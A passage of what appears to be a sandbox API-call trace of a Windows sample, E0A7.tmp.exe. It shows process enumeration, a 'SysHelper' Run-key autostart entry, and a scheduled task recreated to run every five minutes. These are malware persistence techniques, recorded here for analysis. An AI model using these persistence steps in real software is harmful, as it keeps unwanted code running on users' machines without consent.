[0088.727] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xc30000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="developing.exe") returned 0xe [0088.727] CloseHandle (hObject=0x59c) returned 1 [0088.727] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x618) returned 0x59c [0088.727] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0088.728] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x10e0000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="dumb.exe") returned 0x8 [0088.728] CloseHandle (hObject=0x59c) returned 1 [0088.729] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x344) returned 0x59c [0088.729] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0088.730] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xd60000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="rainbowallowingsb.exe") returned 0x15 [0088.730] CloseHandle (hObject=0x59c) returned 1 [0088.730] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x244) returned 0x59c [0088.730] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0088.731] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xc00000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="cowboy_mh.exe") returned 0xd [0088.731] CloseHandle (hObject=0x59c) returned 1 [0088.731] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x59c [0088.731] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0088.732] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x13e0000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="poison-hormone-geographical.exe") returned 0x1f [0088.732] CloseHandle (hObject=0x59c) returned 1 [0088.732] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x734) returned 0x59c [0088.732] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0088.733] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x1090000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="crisis seats.exe") returned 0x10 [0088.734] CloseHandle (hObject=0x59c) returned 1 [0088.734] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7f0) returned 0x59c [0088.734] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0088.735] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x210000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="max poker.exe") returned 0xd [0088.735] CloseHandle (hObject=0x59c) returned 1 [0088.735] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7a8) returned 0x59c [0088.735] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0088.736] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x890000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="amendedbattlefield.exe") returned 0x16 [0088.736] CloseHandle (hObject=0x59c) returned 1 [0088.736] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x58c) returned 0x59c [0088.736] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0088.737] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xff0000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="z stan.exe") returned 0xa [0088.737] CloseHandle (hObject=0x59c) returned 1 [0088.738] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x324) returned 0x59c [0088.738] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0088.739] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xb20000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="governance.exe") returned 0xe [0088.739] CloseHandle (hObject=0x59c) returned 1 [0088.739] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x438) returned 0x59c [0088.739] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0088.740] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xa80000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="booty pas td.exe") returned 0x10 [0088.740] CloseHandle (hObject=0x59c) returned 1 [0088.740] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x598) returned 0x59c [0088.740] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0088.741] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x1180000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="origins-capability-snow.exe") returned 0x1b [0088.741] CloseHandle (hObject=0x59c) returned 1 [0088.741] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x288) returned 0x59c [0088.741] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0088.742] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xdc0000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="defines.exe") returned 0xb [0088.743] CloseHandle (hObject=0x59c) returned 1 [0088.743] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6ec) returned 0x59c [0088.743] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0088.744] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x2c0000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="collinstuition.exe") returned 0x12 [0088.744] CloseHandle (hObject=0x59c) returned 1 [0088.744] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x444) returned 0x59c [0088.744] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0088.745] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x9c0000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="beside-denmark.exe") returned 0x12 [0088.745] CloseHandle (hObject=0x59c) returned 1 [0088.745] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x55c) returned 0x0 [0088.745] CloseHandle (hObject=0x0) returned 0 [0088.745] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x994) returned 0x0 [0088.745] CloseHandle (hObject=0x0) returned 0 [0088.745] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9b4) returned 0x0 [0088.745] CloseHandle (hObject=0x0) returned 0 [0088.745] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9d4) returned 0x0 [0088.746] CloseHandle (hObject=0x0) returned 0 [0088.746] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa5c) returned 0x59c [0088.746] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0088.747] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x400000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="E0A7.tmp.exe") returned 0xc [0088.747] CloseHandle (hObject=0x59c) returned 1 [0088.747] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x28) returned 0x72d100 [0088.747] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x754da0 [0088.747] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3048ae0 [0088.747] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3057310 [0088.748] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x757280 [0088.748] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x7574e8 [0088.748] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3051fd8 [0088.748] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3052240 [0088.748] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3062708 [0088.748] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3062970 [0088.748] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3062bd8 [0088.748] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e988 | out: phkResult=0x18e988*=0x59c) returned 0x0 [0088.749] RegQueryValueExW (in: hKey=0x59c, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18e984, lpData=0x18d0b0, lpcbData=0x18e968*=0x400 | out: lpType=0x18e984*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe\" --AutoStart", lpcbData=0x18e968*=0xd8) returned 0x0 [0088.749] RegCloseKey (hKey=0x59c) returned 0x0 [0088.749] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xe0) returned 0x759300 [0088.749] lstrlenA (lpString="\" --AutoStart") returned 13 [0088.749] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xc0) returned 0x305cfa0 [0088.749] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x759300 | out: hHeap=0x680000) returned 1 [0088.749] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe") returned 1 [0088.749] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xc0) returned 0x305d068 [0088.749] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x305cfa0 | out: hHeap=0x680000) returned 1 [0088.749] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xc0) returned 0x305cfa0 [0088.749] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xc0) returned 0x305d130 [0088.749] CoInitialize (pvReserved=0x0) returned 0x0 [0088.756] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0088.757] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xc0) returned 0x305d1f8 [0088.757] CoCreateInstance (in: rclsid=0x44ffcc*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x44ff4c*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x18e974 | out: ppv=0x18e974*=0x26e08b8) returned 0x0 [0088.763] TaskScheduler:ITaskService:Connect (This=0x26e08b8, serverName=0x18e400*(varType=0x0, wReserved1=0x7715, wReserved2=0xe0d2, wReserved3=0x7715, varVal1=0x5f, varVal2=0xc0), user=0x18e410*(varType=0x0, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1=0x0, varVal2=0xc8), domain=0x18e420*(varType=0x0, wReserved1=0x0, wReserved2=0xc0, wReserved3=0x0, varVal1=0x5f, varVal2=0x7), password=0x18e430*(varType=0x0, wReserved1=0x306, wReserved2=0xe91c, wReserved3=0x18, varVal1=0x41720b, varVal2=0x680000)) returned 0x0 [0088.765] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xc) returned 0x3051408 [0088.765] TaskScheduler:ITaskService:GetFolder (in: This=0x26e08b8, Path="\\", ppFolder=0x18e97c | out: ppFolder=0x18e97c*=0x26e0920) returned 0x0 [0088.766] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x3051408 | out: hHeap=0x680000) returned 1 [0088.766] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xc) returned 0x3051408 [0088.766] ITaskFolder:DeleteTask (This=0x26e0920, Name="Time Trigger Task", flags=0) returned 0x0 [0088.813] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x3051408 | out: hHeap=0x680000) returned 1 [0088.813] TaskScheduler:ITaskService:NewTask (in: This=0x26e08b8, flags=0x0, ppDefinition=0x18e980 | out: ppDefinition=0x18e980*=0x26e0950) returned 0x0 [0088.813] TaskScheduler:IUnknown:Release (This=0x26e08b8) returned 0x1 [0088.813] ITaskDefinition:get_RegistrationInfo (in: This=0x26e0950, ppRegistrationInfo=0x18e954 | out: ppRegistrationInfo=0x18e954*=0x26e0a10) returned 0x0 [0088.813] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xc) returned 0x3051450 [0088.813] IRegistrationInfo:put_Author (This=0x26e0a10, Author="Author Name") returned 0x0 [0088.813] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x3051450 | out: hHeap=0x680000) returned 1 [0088.813] IUnknown:Release (This=0x26e0a10) returned 0x1 [0088.814] ITaskDefinition:get_Principal (in: This=0x26e0950, ppPrincipal=0x18e95c | out: ppPrincipal=0x18e95c*=0x26e0ba0) returned 0x0 [0088.814] IPrincipal:put_LogonType (This=0x26e0ba0, LogonType=3) returned 0x0 [0088.814] IUnknown:Release (This=0x26e0ba0) returned 0x1 [0088.814] ITaskDefinition:get_Settings (in: This=0x26e0950, ppSettings=0x18e964 | out: ppSettings=0x18e964*=0x26e0ac0) returned 0x0 [0088.814] ITaskSettings:put_StartWhenAvailable (This=0x26e0ac0, StartWhenAvailable=1) returned 0x0 [0088.814] IUnknown:Release (This=0x26e0ac0) returned 0x1 [0088.814] ITaskSettings:get_IdleSettings (in: This=0x26e0ac0, ppIdleSettings=0x18e948 | out: ppIdleSettings=0x18e948*=0x26e0b30) returned 0x0 [0088.814] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xc) returned 0x3051450 [0088.814] IIdleSettings:put_WaitTimeout (This=0x26e0b30, WaitTimeout="PT5M") returned 0x0 [0088.814] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x3051450 | out: hHeap=0x680000) returned 1 [0088.814] IUnknown:Release (This=0x26e0b30) returned 0x1 [0088.814] ITaskDefinition:get_Triggers (in: This=0x26e0950, ppTriggers=0x18e944 | out: ppTriggers=0x18e944*=0x26e0a80) returned 0x0 [0088.814] ITriggerCollection:Create (in: This=0x26e0a80, Type=1, ppTrigger=0x18e950 | out: ppTrigger=0x18e950*=0x26e0c00) returned 0x0 [0088.815] IUnknown:Release (This=0x26e0a80) returned 0x1 [0088.815] IUnknown:QueryInterface (in: This=0x26e0c00, riid=0x45004c*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x18e96c | out: ppvObject=0x18e96c*=0x26e0c00) returned 0x0 [0088.815] IUnknown:Release (This=0x26e0c00) returned 0x2 [0088.815] ITrigger:get_Repetition (in: This=0x26e0c00, ppRepeat=0x18e958 | out: ppRepeat=0x18e958*=0x26e0c50) returned 0x0 [0088.815] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xc) returned 0x3051450 [0088.815] IRepetitionPattern:put_Interval (This=0x26e0c50, Interval="PT5M") returned 0x0 [0088.815] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x3051450 | out: hHeap=0x680000) returned 1 [0088.815] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xc) returned 0x3051450 [0088.815] IRepetitionPattern:put_Duration (This=0x26e0c50, Duration="") returned 0x0 [0088.815] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x3051450 | out: hHeap=0x680000) returned 1 [0088.815] ITrigger:put_Repetition (This=0x26e0c00, Repetition=0x26e0c50) returned 0x0 [0088.815] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xc) returned 0x3051450 [0088.815] ITrigger:put_Id (This=0x26e0c00, Id="Trigger1") returned 0x0 [0088.815] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x3051450 | out: hHeap=0x680000) returned 1 [0088.815] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xc) returned 0x3051450 [0088.815] ITrigger:put_EndBoundary (This=0x26e0c00, EndBoundary="2030-05-02T08:00:00") returned 0x0 [0088.815] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x3051450 | out: hHeap=0x680000) returned 1 [0088.815] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e42c | out: lpSystemTimeAsFileTime=0x18e42c*(dwLowDateTime=0xe93b7790, dwHighDateTime=0x1d50371)) [0088.815] GetLastError () returned 0x0 [0088.815] SetLastError (dwErrCode=0x0) [0088.816] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x24) returned 0x3088c60 [0088.816] GetLastError () returned 0x0 [0088.816] SetLastError (dwErrCode=0x0) [0088.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0088.816] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1f) returned 0x30586a8 [0088.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x30586a8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0088.816] GetLastError () returned 0x0 [0088.816] SetLastError (dwErrCode=0x0) [0088.816] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x4) returned 0x2ff5eb0 [0088.816] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x2ff5eb0) returned 0x4 [0088.816] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x2ff5eb0, Size=0x8) returned 0x2ff5ec0 [0088.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0088.816] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x36) returned 0x740d50 [0088.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x740d50, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0088.816] GetLastError () returned 0x0 [0088.816] SetLastError (dwErrCode=0x0) [0088.816] GetLastError () returned 0x0 [0088.816] SetLastError (dwErrCode=0x0) [0088.816] GetLastError () returned 0x0 [0088.816] SetLastError (dwErrCode=0x0) [0088.816] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x2ff5ec0) returned 0x8 [0088.816] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x2ff5ec0, Size=0xc) returned 0x3051450 [0088.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0088.816] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x37) returned 0x307ede0 [0088.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x307ede0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0088.816] GetLastError () returned 0x0 [0088.816] SetLastError (dwErrCode=0x0) [0088.817] GetLastError () returned 0x0 [0088.817] SetLastError (dwErrCode=0x0) [0088.817] GetLastError () returned 0x0 [0088.817] SetLastError (dwErrCode=0x0) [0088.817] GetLastError () returned 0x0 [0088.817] SetLastError (dwErrCode=0x0) [0088.817] GetLastError () returned 0x0 [0088.817] SetLastError (dwErrCode=0x0) [0088.817] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x3051450) returned 0xc [0088.817] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x3051450, Size=0x10) returned 0x3051480 [0088.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0088.817] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x3c) returned 0x305edc8 [0088.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x305edc8, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0088.817] GetLastError () returned 0x0 [0088.817] SetLastError (dwErrCode=0x0) [0088.817] GetLastError () returned 0x0 [0088.817] SetLastError (dwErrCode=0x0) [0088.817] GetLastError () returned 0x0 [0088.817] SetLastError (dwErrCode=0x0) [0088.817] GetLastError () returned 0x0 [0088.817] SetLastError (dwErrCode=0x0) [0088.818] GetLastError () returned 0x0 [0088.818] SetLastError (dwErrCode=0x0) [0088.818] GetLastError () returned 0x0 [0088.818] SetLastError (dwErrCode=0x0) [0088.818] GetLastError () returned 0x0 [0088.818] SetLastError (dwErrCode=0x0) [0088.818] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x3051480) returned 0x10 [0088.818] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x3051480, Size=0x14) returned 0x72a828 [0088.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0088.818] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x31) returned 0x307ed60 [0088.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x307ed60, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0088.818] GetLastError () returned 0x0 [0088.818] SetLastError (dwErrCode=0x0) [0088.818] GetLastError () returned 0x0 [0088.818] SetLastError (dwErrCode=0x0) [0088.818] GetLastError () returned 0x0 [0088.818] SetLastError (dwErrCode=0x0) [0088.818] GetLastError () returned 0x0 [0088.818] SetLastError (dwErrCode=0x0) [0088.818] GetLastError () returned 0x0 [0088.818] SetLastError (dwErrCode=0x0) [0088.818] GetLastError () returned 0x0 [0088.818] SetLastError (dwErrCode=0x0) [0088.818] GetLastError () returned 0x0 [0088.818] SetLastError (dwErrCode=0x0) [0088.818] GetLastError () returned 0x0 [0088.818] SetLastError (dwErrCode=0x0) [0088.818] GetLastError () returned 0x0 [0088.819] SetLastError (dwErrCode=0x0) [0088.819] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x72a828) returned 0x14 [0088.819] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x72a828, Size=0x18) returned 0x72aca8 [0088.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0088.819] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x17) returned 0x72a828 [0088.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x72a828, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0088.819] GetLastError () returned 0x0 [0088.819] SetLastError (dwErrCode=0x0) [0088.819] GetLastError () returned 0x0 [0088.819] SetLastError (dwErrCode=0x0) [0088.819] GetLastError () returned 0x0 [0088.819] SetLastError (dwErrCode=0x0) [0088.819] GetLastError () returned 0x0 [0088.819] SetLastError (dwErrCode=0x0) [0088.819] GetLastError () returned 0x0 [0088.819] SetLastError (dwErrCode=0x0) [0088.819] GetLastError () returned 0x0 [0088.819] SetLastError (dwErrCode=0x0) [0088.819] GetLastError () returned 0x0 [0088.819] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x72aca8, Size=0x1c) returned 0x7588d0 [0088.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0088.819] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x24) returned 0x3088c90 [0088.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x3088c90, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0088.819] GetLastError () returned 0x0 [0088.819] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x7588d0, Size=0x20) returned 0x7588a8 [0088.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0088.819] 